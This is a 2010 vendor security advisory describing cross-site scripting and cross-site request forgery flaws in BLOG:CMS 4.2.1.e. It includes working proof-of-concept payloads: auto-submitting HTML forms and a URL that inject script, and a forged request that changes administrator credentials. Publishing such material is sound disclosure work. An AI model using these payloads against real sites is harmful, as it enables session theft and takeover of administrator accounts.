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Multiple Vulnerabilities in BLOG:CMS

Advisory ID:HTB22724
Product:BLOG:CMS
Vendor:Radek Hulán
Vulnerable Versions:4.2.1.e and probably prior
Tested Version:4.2.1.e
Advisory Publication:November 30, 2010 [without technical details]
Vendor Notification:November 30, 2010
Public Disclosure:December 14, 2010
Latest Update:December 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2010-4749
CVE-2010-4750
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in BLOG:CMS which could be exploited to perform cross-site scripting, script insertion and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in BLOG:CMS: CVE-2010-4749
1.1 The vulnerability exists due to input sanitation error in the "amount" parameter in admin/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="blogid" value="0">
<input type="hidden" name="itemid" value="0">
<input type="hidden" name="action" value="browseowncomments">
<input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'>
<input type="hidden" name="start" value="0">
<input type="hidden" name="search" value="">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "action" parameter in admin/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://host/admin/index.php?action=settingsedit"><script>alert(document.cookie)< /script>

2) Script insertion vulnerability in BLOG:CMS: CVE-2010-4749
Input passed to the "body" parameter in action.php when posting comments is not properly sanitized. A remote attacker can insert arbitrary HTML and script code, which will be executed in user`s browser in context of the vulnerable website when user views the malicious data.

3) Cross-site request forgery vulnerabilities in BLOG:CMS: CVE-2010-4750
The vulnerability exists due to insufficient validation of the request origin in admin/libs/admin.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/admin/index.php" method="post" name="main">
<input type="hidden" name="action" value="changemembersettings">
<input type="hidden" name="memberid" value="USER_UD">
<input type="hidden" name="name" value="tester">
<input type="hidden" name="realname" value="tester">
<input type="hidden" name="password" value="">
<input type="hidden" name="repeatpassword" value="">
<input type="hidden" name="email" value="email@example.com">
<input type="hidden" name="url" value="">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="canlogin" value="1">
<input type="hidden" name="notes" value="">
<input type="hidden" name="deflang" value="">
</form>
<script>
document.main.submit();
</script>


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Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22724 - https://www.htbridge.com/advisory/HTB22724 - Multiple Vulnerabilities in BLOG:CMS
[2] BLOG:CMS - blogcms.com - Blog:CMS (formerly Nucleus XE) is a content management system written in PHP with a MySQL database.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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